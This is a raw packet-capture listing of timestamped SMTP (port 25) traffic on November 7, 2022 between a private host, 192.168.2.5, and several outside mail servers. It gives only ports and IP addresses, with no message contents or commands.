Nov 7, 2022 22:25:04.193252087 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.193269014 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.193285942 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.193304062 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.193310976 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.193321943 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.193341017 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.193388939 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.193418980 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.193463087 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.193481922 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.193500042 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.193516970 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.193555117 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.272475958 CET	25	49861	104.47.66.10	192.168.2.5
Nov 7, 2022 22:25:04.272671938 CET	49861	25	192.168.2.5	104.47.66.10
Nov 7, 2022 22:25:04.287877083 CET	25	49860	209.51.188.92	192.168.2.5
Nov 7, 2022 22:25:04.289650917 CET	49860	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:25:04.305378914 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:04.313477993 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:04.435374022 CET	25	49860	209.51.188.92	192.168.2.5
Nov 7, 2022 22:25:04.435846090 CET	49860	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:25:04.477420092 CET	25	49861	104.47.66.10	192.168.2.5
Nov 7, 2022 22:25:04.481086969 CET	49861	25	192.168.2.5	104.47.66.10
Nov 7, 2022 22:25:04.560460091 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.560520887 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.560561895 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.560599089 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.560636044 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.560667038 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.560704947 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.560739994 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.560745955 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.560739994 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.560739994 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.560789108 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.560827971 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.560869932 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.560873032 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.560873032 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.560873032 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.560904026 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.560918093 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.561012983 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.561012983 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.561012983 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.561050892 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.561086893 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.561117887 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.561151981 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.561187983 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.561189890 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.561189890 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.561223984 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.561300993 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.561300993 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.561340094 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.561494112 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.561527014 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.561623096 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.580065012 CET	25	49860	209.51.188.92	192.168.2.5
Nov 7, 2022 22:25:04.599912882 CET	49860	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:25:04.646802902 CET	25	49861	104.47.66.10	192.168.2.5
Nov 7, 2022 22:25:04.649327993 CET	49861	25	192.168.2.5	104.47.66.10
Nov 7, 2022 22:25:04.674783945 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:04.790848017 CET	25	49860	209.51.188.92	192.168.2.5
Nov 7, 2022 22:25:04.816778898 CET	25	49861	104.47.66.10	192.168.2.5
Nov 7, 2022 22:25:04.817828894 CET	49861	25	192.168.2.5	104.47.66.10
Nov 7, 2022 22:25:04.846754074 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:04.877728939 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:04.927992105 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928052902 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928083897 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928106070 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928225040 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928225040 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928267002 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928308964 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928329945 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928333044 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928354025 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928373098 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928401947 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928401947 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928455114 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928477049 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928497076 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928518057 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928544998 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928544998 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928544998 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928589106 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928666115 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928690910 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928709984 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928733110 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928738117 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928738117 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928752899 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.928786039 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928786039 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928831100 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.928985119 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929008007 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929028034 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929048061 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929068089 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929084063 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929084063 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929133892 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929147959 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929171085 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929191113 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929212093 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929219007 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929219007 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929233074 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929255009 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929294109 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929294109 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929306984 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929328918 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929342985 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929377079 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929377079 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929466963 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929487944 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929507017 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929527998 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929550886 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929563999 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929564953 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929563999 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929619074 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929649115 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929744005 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929766893 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929788113 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929806948 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:04.929857016 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929857969 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.929903030 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:04.984385967 CET	25	49861	104.47.66.10	192.168.2.5
Nov 7, 2022 22:25:04.985090017 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:04.996997118 CET	49861	25	192.168.2.5	104.47.66.10
Nov 7, 2022 22:25:05.241817951 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.295248985 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295265913 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295278072 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295289040 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295300007 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295409918 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.295474052 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.295509100 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295521975 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295532942 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295545101 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295557022 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295614004 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.295659065 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.295790911 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295802116 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295814037 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295825958 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.295949936 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.296034098 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296192884 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296205997 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296217918 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296231985 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296245098 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296264887 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.296339035 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.296474934 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296490908 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296502113 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296514034 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296554089 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.296585083 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296592951 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.296597958 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296610117 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296622038 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296655893 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.296694040 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.296709061 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296721935 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296732903 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296744108 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296791077 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.296814919 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.296888113 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296902895 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296916008 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296926975 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.296967030 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.296998978 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297009945 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297022104 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297033072 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297034025 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.297046900 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297060013 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297071934 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297082901 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297099113 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.297164917 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.297225952 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297236919 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297247887 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297259092 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297270060 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297281981 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297292948 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297303915 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297312021 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.297316074 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297327042 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297339916 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297350883 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297396898 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:05.297522068 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297534943 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.297950029 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.298166037 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.298180103 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.298192978 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.298203945 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.299042940 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.299666882 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.299679995 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.299690962 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.299701929 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.300015926 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.300349951 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.300364971 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.300379038 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.300390959 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.302006006 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.302623987 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.302638054 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.303337097 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.303616047 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.303630114 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.303697109 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.346132994 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.346157074 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.346170902 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.346185923 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.346201897 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.346218109 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.346235991 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.346247911 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.346296072 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.346296072 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.346368074 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.346390009 CET	25	49859	74.125.200.27	192.168.2.5
Nov 7, 2022 22:25:05.346401930 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.346436024 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.346436024 CET	49859	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:25:05.662389994 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662426949 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662448883 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662467957 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662488937 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662508011 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662527084 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662548065 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662569046 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662581921 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662625074 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662645102 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662669897 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662689924 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662719011 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662739038 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662760973 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662785053 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662806988 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662827969 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662842035 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662861109 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662900925 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662924051 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662944078 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662962914 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.662983894 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663005114 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663181067 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663201094 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663217068 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663228035 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663248062 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663264036 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663283110 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663300991 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663320065 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663338900 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663357973 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663377047 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663394928 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663412094 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663429976 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663768053 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663793087 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663810968 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663846016 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663866043 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663886070 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663904905 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.663923979 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.664040089 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.664060116 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.664078951 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.664098024 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.664117098 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.664575100 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.664597988 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.664617062 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.664860010 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.664881945 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.664901018 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.664921045 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665282965 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665303946 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665323019 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665365934 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665529966 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665549040 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665569067 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665587902 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665638924 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665657997 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665677071 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665695906 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665714025 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665801048 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665822029 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665841103 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:05.665862083 CET	25	49858	74.125.200.26	192.168.2.5
